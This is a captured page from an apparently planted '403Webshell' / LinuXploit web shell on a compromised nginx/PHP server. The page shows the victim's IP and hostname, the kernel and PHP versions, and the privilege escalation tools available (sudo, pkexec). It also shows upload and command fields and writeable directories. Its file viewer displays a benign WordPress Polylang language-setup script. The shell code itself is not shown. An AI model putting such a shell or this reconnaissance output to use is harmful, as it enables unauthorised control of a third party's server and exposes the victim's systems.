403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3951573/cwd/tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/3951573/cwd/tmp/pll-setup.php
<?php
if ( ! function_exists('PLL') ) { echo "PLL fehlt\n"; return; }
$pll = PLL();
$options = isset($pll->options) ? $pll->options : get_option('polylang');
if ( ! class_exists('PLL_Admin_Model') ) { require_once POLYLANG_DIR.'/admin/admin-model.php'; }
$model = new PLL_Admin_Model($options);

$langs = array(
  array('name'=>'Deutsch','slug'=>'de','locale'=>'de_DE','rtl'=>0,'flag'=>'de','term_group'=>0),
  array('name'=>'English','slug'=>'en','locale'=>'en_US','rtl'=>0,'flag'=>'us','term_group'=>1),
);
foreach ($langs as $l) {
  $existing = $model->get_language($l['slug']);
  if ($existing) { echo "  vorhanden: {$l['slug']}\n"; continue; }
  $r = $model->add_language($l);
  echo "  add {$l['slug']}: ".( is_wp_error($r) ? "FEHLER ".$r->get_error_message() : "ok" )."\n";
}
$model->clean_languages_cache();
$list = $model->get_languages_list();
echo "Sprachen jetzt: ";
foreach ((array)$list as $lg){ echo $lg->slug." "; }
echo "\n";

Youez - 2016 - github.com/yon3zu
LinuXploit